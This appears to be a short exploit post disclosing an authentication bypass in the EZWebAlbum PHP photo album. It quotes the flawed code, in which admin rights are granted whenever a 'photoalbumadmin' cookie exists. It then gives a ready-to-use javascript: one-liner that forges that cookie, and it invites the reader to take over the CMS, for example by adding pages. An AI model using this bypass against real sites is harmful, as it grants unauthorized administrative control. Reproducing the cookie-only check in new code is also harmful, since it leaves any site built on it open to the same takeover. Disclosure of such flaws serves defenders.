DESCRIPTION:
EZWebAlbum, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
---
some code in index.php:

    if ( $HTTP_POST_VARS['enteredadminpassword'] == $adminpassword )
    {
        setcookie("photoalbumadmin","1");
        header("Location: index.php");
    }
**********************
now vuln code in constants.inc:
$gotalbumadminrights = False;

if (isset($photoalbumadmin))
{
    $gotalbumadminrights = True;
}//SET ADMIN RIGHTS IF COOKIE FOUND
---
exploit:
javascript:document.cookie = "photoalbumadmin=1; path=/";
-----
now   you can get admin access and manage the cms ;)
[+]Example:add a new page in addpage.php
